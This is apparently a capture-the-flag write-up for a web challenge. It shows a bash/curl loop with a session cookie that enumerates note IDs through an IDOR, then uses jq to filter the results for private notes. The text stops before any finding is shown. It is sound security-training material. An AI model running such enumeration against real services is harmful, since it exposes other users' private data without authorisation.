The Gate of Broken Names
Personal Rating: Easy
At this challenge we are presented with a web page that we can access as a guest user. It allows us to write and read chronicles and manage our user and "realm". Browsing through the pages and inspecting the URL lets you quickly suspect an IDOR at the page where you can read chronicles. And indeed - setting the id to different values lets you read all notes, including private ones:

I also tried some simple injections at the id parameter (which did not yield anything of interest) before writing a script that retrieves all notes via the IDOR:
for i in {1..300}; do curl --path-as-is -s -k -X $'GET' \
-H $'Host: 46.101.199.40:30887' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://46.101.199.40:30887/note?id=6' -H $'DNT: 1' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Priority: u=4' \
-b $'connect.sid=s%3ABq7vAWAGx5iQAu2xkDE_VHgmMdOJuPNI.oxlpWzywa7ASuMHTZ8RU6%2BrQj952DZ3so%2B3pHhBM2aQ' \
http://46.101.199.40:30887/api/notes/$i; done >> results.txtI surrounded the entire text with brackets and added a comma after each entry to convert it to valid json. Then I filtered for all private notes:
cat results.txt | jq >> notesclean.json
cat notesclean.json | jq '.[] | select(.is_private == 1)' > privatenotes.jsonI read through the notes and this was found:

Last updated